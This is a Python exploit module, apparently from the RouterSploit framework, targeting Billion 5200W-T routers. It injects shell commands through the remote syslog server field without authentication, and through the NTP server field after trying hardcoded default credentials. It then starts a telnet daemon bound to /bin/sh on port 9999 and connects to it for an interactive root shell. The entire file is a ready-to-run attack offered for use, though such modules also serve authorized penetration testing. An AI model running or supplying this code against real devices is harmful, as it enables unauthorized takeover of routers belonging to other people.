import telnetlib

from routersploit import (
    exploits,
    print_status,
    print_error,
    http_request,
    mute,
    validators,
    random_text,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Billion 5200W-T Remote Command Execution vulnerability.
    If the target is vulnerable it allows to execute commands on operating system level.
    """
    __info__ = {
        'name': 'Billion 5200W-T RCE',
        'description': 'Module exploits Remote Command Execution vulnerability in Billion 5200W-T devices. '
                       'If the target is vulnerable it allows to execute commands on operating system level.',
        'authors': [
            'Pedro Ribeiro <pedrib[at]gmail.com>',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'http://seclists.org/fulldisclosure/2017/Jan/40',
            'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt',
            'https://blogs.securiteam.com/index.php/archives/2910'
        ],
        'devices': [
            'Billion 5200W-T',
        ],
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
    port = exploits.Option(80, 'Target port', validators=validators.integer)  # default port
    telnet_port = exploits.Option(9999, 'Telnet port used for exploitation', validators=validators.integer)  # telnet port used for exploitation

    username = exploits.Option('admin', 'Default username to log in')
    password = exploits.Option('password', 'Default password to log in')

    # hardcoded credentials
    creds = [
        ('admin', 'password'),
        ('true', 'true'),
        ('user3', '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678')
    ]

    def run(self):
        cmd = "utelnetd -l /bin/sh -p {} -d".format(self.telnet_port)

        if self.execute1(cmd) or self.execute2(cmd):
            self.telnet_connect()
        else:
            print_error("Exploit failed")

    def execute1(self, cmd):
        print_status("Trying to exploit first command injection vulnerability...")
        url = "{}:{}/cgi-bin/adv_remotelog.asp".format(self.target, self.port)

        payload = "1.1.1.1;{};#".format(cmd)

        data = {"RemotelogEnable": "1",
                "syslogServerAddr": payload,
                "serverPort": "514"}

        response = http_request(method="POST", url=url, data=data)

        if response is not None and response.status_code != 404:
            return True

        print_error("Exploitation failed for unauthenticated command injection")
        return False

    def execute2(self, cmd):
        print_status("Trying authenticated commad injection vulnerability...")

        # Iterate through hardcoded credentials and these provided by the user
        for creds in set(self.creds + [(self.username, self.password)]):
            print_status("Trying exploitation with creds: {}:{}".format(creds[0], creds[1]))
            # Fixate cookie
            url = "{}:{}/".format(self.target, self.port)
            cookies = {
                "SESSIONID": random_text(8)
            }

            response = http_request(method="GET", url=url, cookies=cookies, auth=(creds[0], creds[1]))
            if response is None:
                return False

            # Inject command
            url = "{}:{}/cgi-bin/tools_time.asp".format(self.target, self.port)

            payload = "\"%3b{}%26%23".format(cmd)

            data = {"SaveTime": "1",
                    "uiCurrentTime2": "",
                    "uiCurrentTime1": "",
                    "ToolsTimeSetFlag": "0",
                    "uiRadioValue": "0",
                    "uiClearPCSyncFlag": "0",
                    "uiwPCdateMonth": "0",
                    "uiwPCdateDay": "",
                    "&uiwPCdateYear": "",
                    "uiwPCdateHour": "",
                    "uiwPCdateMinute": "",
                    "uiwPCdateSec": "",
                    "uiCurTime": "N/A+(NTP+server+is+connecting)",
                    "uiTimezoneType": "0",
                    "uiViewSyncWith": "0",
                    "uiPCdateMonth": "1",
                    "uiPCdateDay": "",
                    "uiPCdateYear": "",
                    "uiPCdateHour": "",
                    "uiPCdateMinute": "",
                    "uiPCdateSec": "",
                    "uiViewdateToolsTZ": "GMT+07:00",
                    "uiViewdateDS": "Disable",
                    "uiViewSNTPServer": payload,
                    "ntp2ServerFlag": "N/A",
                    "ntp3ServerFlag": "N/A"}

            response = http_request(method="POST", url=url, cookies=cookies, data=data, auth=(creds[0], creds[1]))
            if response is None:
                return False

        return True

    def telnet_connect(self):
        target = self.target.replace("http://", "").replace("https://", "")

        print_status("Trying to connect to the telnet server...")

        try:
            tn = telnetlib.Telnet(target, self.telnet_port, timeout=10)
            tn.interact()
            tn.close()
        except Exception:
            print_error("Exploit failed - Telnet connection error: {}:{}".format(target, self.telnet_port))

    @mute
    def check(self):
        # it is not possible to check if the target is vulnerable without exploiting device
        return None
